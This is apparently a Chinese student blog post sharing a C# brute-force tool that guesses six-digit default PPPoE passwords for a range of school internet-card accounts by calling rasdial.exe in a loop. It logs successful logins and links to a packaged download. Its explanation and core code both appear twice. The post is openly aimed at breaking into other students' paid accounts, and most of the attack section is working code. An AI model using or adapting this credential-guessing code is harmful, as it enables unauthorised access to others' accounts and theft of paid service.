这是一个暴力破解PPPoE密码的小工具。
由于我们学校是通过上网卡计时上网的,卡号又是在同一个段上的,默认密码又都是六位的数字。所以就产生了这样的想法。不过这个程序最终还是不能实现这个功能。因为速度是在是太慢了,每秒尝试一个到两个密码。不过还是可以把这里东西拿出来一起分享一下的,主要是分享思路。
先说说要用到的东西。
本来是想通过代码来实现RAS连接的。但不知为什么,我找来的代码不能使用。所以,就用了一个非常简单的方法:RasDial.exe。
这个小工具可以在命令提示符里输入“RasDial /?”查看到相应的帮助:
由于我们学校是通过上网卡计时上网的,卡号又是在同一个段上的,默认密码又都是六位的数字。所以就产生了这样的想法。不过这个程序最终还是不能实现这个功能。因为速度是在是太慢了,每秒尝试一个到两个密码。不过还是可以把这里东西拿出来一起分享一下的,主要是分享思路。
先说说要用到的东西。
本来是想通过代码来实现RAS连接的。但不知为什么,我找来的代码不能使用。所以,就用了一个非常简单的方法:RasDial.exe。
这个小工具可以在命令提示符里输入“RasDial /?”查看到相应的帮助:
用法:
rasdial entryname [username [password|*]] [/DOMAIN:domain]
[/PHONE:phonenumber] [/CALLBACK:callbacknumber]
[/PHONEBOOK:phonebookfile] [/PREFIXSUFFIX]
rasdial [entryname] /DISCONNECT
rasdial
命令已完成。
rasdial entryname [username [password|*]] [/DOMAIN:domain]
[/PHONE:phonenumber] [/CALLBACK:callbacknumber]
[/PHONEBOOK:phonebookfile] [/PREFIXSUFFIX]
rasdial [entryname] /DISCONNECT
rasdial
命令已完成。
很显然,通过“RasDial.exe”就可以实现我想要的功能。 为了得道“RasDial”的执行结果,要得道它的管道输出结果。具体的方法是把“ProcessStartInfo”的“RedirectStandardOutput”属性设置为“True”。这样就可以通过“StandardOutput”属性获取管道输出的结果了。
再说说思路吧。
开始要得到一个要破解的号码段。然后的工作就是爆破了。就是一个一个密码的尝试。不过在这里发现了一个小小的剪枝:密码里单个字符出现两次或两次以上的都可以Jump掉这个密码。
下面就是最核心部分的代码了。很简单,直接就能看懂。这里就不用废话了。
public void Cr()
{
exch.Done = false;
//exch是一个静态类,用于和主线程的信息交换。
close = false;
ProcessStartInfo info;
int[] chk = new int[10];
bool jump;
for (int cur = Beg; cur <= End; cur++)
{
if (close) break;
for (int psw = 0; psw < 1000000; psw++)
{
if (close) break;
exch.CurrStr = string.Format(Cov, cur) + string.Format(" {0:D6}", psw);
//Cov是一个string,记录的是字段的格式。
while (exch.isPause) Thread.Sleep(100);
//Jump Password
for (int i = 0; i < 10; i++) chk[i] = 0;
for (int i = 0, ckpsw = psw; i < 6; i++)
{
chk[ckpsw % 10]++;
ckpsw /= 10;
}
jump = false;
for (int i = 0; i < 10; i++)
if (chk[i] > 2)
{
jump = true;
break;
}
if (jump) continue;
info = new ProcessStartInfo("rasdial");
info.Arguments = string.Format(exec, cur, psw);
info.WorkingDirectory = Environment.GetEnvironmentVariable("windir") + "/system32/";
info.CreateNoWindow = true;
info.RedirectStandardOutput = true;
info.UseShellExecute = false;
string re = Process.Start(info).StandardOutput.ReadToEnd();
if (re.IndexOf("正在网络上注册您的计算机") != -1)
{
dd = delegate
{
ResultText.Text += string.Format(exec, cur, psw).Substring(7) + " ";
};
ResultText.Invoke(dd);
//连接成功之后,马上断掉。继续下一个尝试。
info = new ProcessStartInfo("rasdial");
info.Arguments = " /disconnect";
info.WorkingDirectory = Environment.GetEnvironmentVariable("windir") + "/system32/";
info.CreateNoWindow = true;
info.RedirectStandardOutput = true;
info.UseShellExecute = false;
Process.Start(info);
break;
}
}
exch.CurrInt = cur - Beg + 1;
exch.CurrStr = string.Format(Cov, cur);
}
exch.Done = true;
exch.CurrStr = "已完成";
exch.CurrInt = 0;
}
{
exch.Done = false;
//exch是一个静态类,用于和主线程的信息交换。
close = false;
ProcessStartInfo info;
int[] chk = new int[10];
bool jump;
for (int cur = Beg; cur <= End; cur++)
{
if (close) break;
for (int psw = 0; psw < 1000000; psw++)
{
if (close) break;
exch.CurrStr = string.Format(Cov, cur) + string.Format(" {0:D6}", psw);
//Cov是一个string,记录的是字段的格式。
while (exch.isPause) Thread.Sleep(100);
//Jump Password
for (int i = 0; i < 10; i++) chk[i] = 0;
for (int i = 0, ckpsw = psw; i < 6; i++)
{
chk[ckpsw % 10]++;
ckpsw /= 10;
}
jump = false;
for (int i = 0; i < 10; i++)
if (chk[i] > 2)
{
jump = true;
break;
}
if (jump) continue;
info = new ProcessStartInfo("rasdial");
info.Arguments = string.Format(exec, cur, psw);
info.WorkingDirectory = Environment.GetEnvironmentVariable("windir") + "/system32/";
info.CreateNoWindow = true;
info.RedirectStandardOutput = true;
info.UseShellExecute = false;
string re = Process.Start(info).StandardOutput.ReadToEnd();
if (re.IndexOf("正在网络上注册您的计算机") != -1)
{
dd = delegate
{
ResultText.Text += string.Format(exec, cur, psw).Substring(7) + " ";
};
ResultText.Invoke(dd);
//连接成功之后,马上断掉。继续下一个尝试。
info = new ProcessStartInfo("rasdial");
info.Arguments = " /disconnect";
info.WorkingDirectory = Environment.GetEnvironmentVariable("windir") + "/system32/";
info.CreateNoWindow = true;
info.RedirectStandardOutput = true;
info.UseShellExecute = false;
Process.Start(info);
break;
}
}
exch.CurrInt = cur - Beg + 1;
exch.CurrStr = string.Format(Cov, cur);
}
exch.Done = true;
exch.CurrStr = "已完成";
exch.CurrInt = 0;
}
点击这里下载打包程序。